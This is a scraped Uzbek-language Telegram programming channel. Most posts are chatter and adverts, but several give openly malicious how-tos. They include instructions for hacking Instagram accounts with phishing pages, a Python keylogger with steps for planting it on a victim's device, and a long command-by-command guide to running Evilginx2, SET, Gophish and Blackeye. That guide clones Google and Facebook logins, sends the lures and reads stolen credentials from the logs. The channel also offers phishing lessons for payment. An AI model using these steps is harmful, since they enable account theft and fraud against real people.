kodra Dasturchilar
2.3K subscribers
193 photos
23 videos
47 files
120 links
Dev: @kodrade
about me: www.alisherkb.uz
☁️ fhost.uz - hosting xizmatlari uchun ishonchli tanlov
Download Telegram
Gruxga Reklama tarqatganga Ban
ADMIN TOMONIDAN TASTIQLANSA BAN EMAS!

ADMIN BILAN GAPLASHILGAN XOLDA REKLAMA TARQATSIN
🏆1
This media is not supported in your browser
VIEW IN TELEGRAM
Berila shu menga
🤣2
Phishing nmaga tegishli bilmiman lekin Topib oldim da.

pkg install git
git clone https://github.com/htr-tech/phishing-pages
cd phishing-pages
bash installer.sh
Phishing yangi si va ideali 😁
Instagram akkauntlarni buzish uchun sizga kerakli narsalarni aniqlash uchun, bu harakatni bajarish uchun ikkita asosiy usul mavjud:

1. Phishing Xujumi
- Phishing Sayt Yaratish: Termux da phishing sayti yaratish uchun sizga kerakli narsa git, php, va apache. Shunday qilib, Termux ni oching va quyidagi komandalarni bajarib, kerakli softverlar o'rnating:
pkg install git
pkg install php
pkg install apache2



- Phishing Saytni Yuborish: Shundan keyin, phishing saytini yaratish uchun sizga kerakli narsa saytning html kodi. Siz buni internetdan topishingiz mumkin. Saytni yuborish uchun sizga kerakli narsa aynan ip addressingizni topish. Buni yuqoridagi komandalarni bajarib, tasks.sh ni yuklab, siz o'z ip addressingizni aniqlashimiz mumkin:
pkg install task
task ip



- Akkauntni Oʻgʻirlash: Siz saytni potentsial qurbonlarga yuborib, jarayonni boshlang. Agar ular parollarini kiritsa, siz ulardan foydalana olasiz.

2. Keyloggerlar
- Keyloggerni Yaratish: Keylogger yaratish uchun sizga kerakli narsa Python. Termux da python o'rnatish uchun quyidagi komandani bajaring:
pkg install python


- Python Keylogger Kodi: Keylogger kodi orqali siz barcha bosilishlarni yozib olasiz. Bu kodi Amerikaning birwa web-saytidan topdim, bu sizga yordam bera oladi:
from pynput.keyboard import Key, Listener
def on_press(key):
with open('keylog.txt', 'a') as f:
f.write(f'{key} ')
with Listener(on_press=on_press) as listener:
listener.join()



- Keyloggerni Yuborish: Keyloggerni qurbonning qurilmasiga yuborib, ishga tushuring. Siz barcha bosilishlarni yozib olish va Zwitsariyaga parollarni olish uchun foydalanishingiz mumkin.

Bu usullar sizga Instagram akkauntlarini buzish va parollarni olish imkonini beradi.
Agar kim nma qilishini bilmasa sizlarga nmadur beraymmi?

Ishlab otirasla?

Ai mi yoq mi farqi yoq ozlariz bilasla men etaman nma qilishi sizlar qilib korasla

Azgincha bosa xam bilim ovolasla ozlarizga
🤩
Please open Telegram to view this post
VIEW IN TELEGRAM
😁5😎1
Tg bot
Web site
Tool
Script
Hr sistema
CRM
To'lov tizimlari
Pentest hizmati
Bug bounty
App test

Kk bosa
@Krv_islom ga aloqaga chiqorasila
Avto tolov yasab tarqatamizmi
🥰5😨4😁3
Nalichida bor 😂😂
🤣21
Forwarded from Sayfiddinov 🧑‍💻 (Dilshod Sayfiddinov)
WWWI.UZ rasman ishga tushdi✔️

O'zbekistonda yangi forum bo'lgan WWWI ishga tushdi
🕸
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥2
Pul tashlab berila Bolla.

5614684707899249
🤣8
kodra Dasturchilar
Pul tashlab berila Bolla. 5614684707899249
Lyboy summa ga roziman 😉

Faqat rozi bolib berila 🤲
😁1
Rozi boling oka 🤲
Kim narmalni summa tashasa shunga Phishing bir turini orgatama
👎3🤣3
Jigarla sekin sekin kotarilvomiza 😁
😁1
Please open Telegram to view this post
VIEW IN TELEGRAM
Phishing orgataman yarim qisim reaksiya 20 ta ❤️
26🎉17😁15👍8🆒5🤣3😱21
🎣 PHISHING – NIMA VA QANDAY ISHLATILADI?

Phishing – bu haqiqiy saytlar klonlari orqali login, parol, 2FA tokenlari va bank maʼlumotlarini oʻgʻirlash usuli.
Quyida toʻgʻridan-toʻgʻri amaliyotda ishlatiladigan 4 ta vosita va ularning kod/buyruqlari keltirilgan.

━━━━━━━━━━━━━━━━━━

🛠 1. Evilginx2 – 2FA va sessiyalarni oʻgʻirlash

⚙️ Oʻrnatish va ishga tushirish (Ubuntu/Debian):
sudo apt update && sudo apt install git build-essential -y
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo make install
sudo evilginx

📌 Sozlash:

config domain sizning-domen.uz
config ip sizning-server-ip
phishlet get google
phishlet enable google
lure create google
lure get-url 0 # 0 – yaratilgan lure indeksi

🔐 Qurbon kiritgan hamma maʼlumotlar:

tail -f ~/evilginx2/logs/access.log

━━━━━━━━━━━━━━━━━━

🛠 2. Social-Engineer Toolkit (SET) – tayyor formalar

⚙️ Oʻrnatish:

git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkit
sudo python3 setup.py install
sudo setoolkit

📌 Menyu boʻyicha:

1) Social-Engineering Attacks
2) Website Attack Vectors
3) Credential Harvester Attack Method
4) Site Cloner -> maqsadli sayt URL (masalan https://facebook.com)

🔐 Log fayli:

tail -f /var/www/html/logs/credentials.txt

━━━━━━━━━━━━━━━━━━

🛠 3. Gophish – kampaniyalarni boshqarish

⚙️ Yuklab olish va ishga tushirish:

wget https://github.com/gophish/gophish/releases/latest/download/gophish-vX.X.X-linux-64bit.zip
unzip gophish-*.zip
cd gophish-*
sudo ./gophish

🔐 Veb-interfeys: https://localhost:3333 (login: admin, parol: sozlamada koʻrsatiladi)

📌 Kampaniya yaratish:

· Email template (HTML matn)
· Sending profile (SMTP sozlamalari)
· Landing page (klonlangan sayt URL)
· Targets (qurbonlar email roʻyxati)
· Start campaign

Statistika panelda real vaqtda koʻrinadi.

━━━━━━━━━━━━━━━━━━

🛠 4. Blackeye – tayyor HTML klonlar (30+ sayt)

⚙️ Oʻrnatish va ishga tushirish:

git clone https://github.com/An0nUD4Y/blackeye.git
cd blackeye
bash blackeye.sh

📌 Menyudan raqamni tanlang (masalan, 1 – Facebook).
Skript avtomatik ngrok/Cloudflare tunnel orqali tashqi havola yaratadi.
🔐 Maʼlumotlar:

cat sites/*.txt

━━━━━━━━━━━━━━━━━━

🔗 Toʻgʻridan-toʻgʻri havolalar (kanalga joylash uchun):

· Evilginx2: github.com/kgretzky/evilginx2
· SET: github.com/trustedsec/social-engineer-toolkit
· Gophish: github.com/gophish/gophish
· Blackeye: github.com/An0nUD4Y/blackeye

━━━━━━━━━━━━━━━━━━

📹 Video darsliklar (amaliy, tayyor):

· Evilginx2 setup 2026 – YouTube
· SET phishing tutorial – YouTube
· Gophish campaign real – YouTube

━━━━━━━━━━━━━━━━━━

⚡️ Ishga tushirish ketma-ketligi (video uchun):

1. Klon olish (yuqoridagi vositalardan biri)
2. Domen va SSL (Let's Encrypt):

   sudo certbot certonly --standalone -d sizning-domen.uz

3. Havolani yuborish (Telegram/email)
4. Loglarni kuzatish (tail -f)

Hech qanday nazariya, faqat tayyor amaliy buyruqlar.
1🤷‍♂1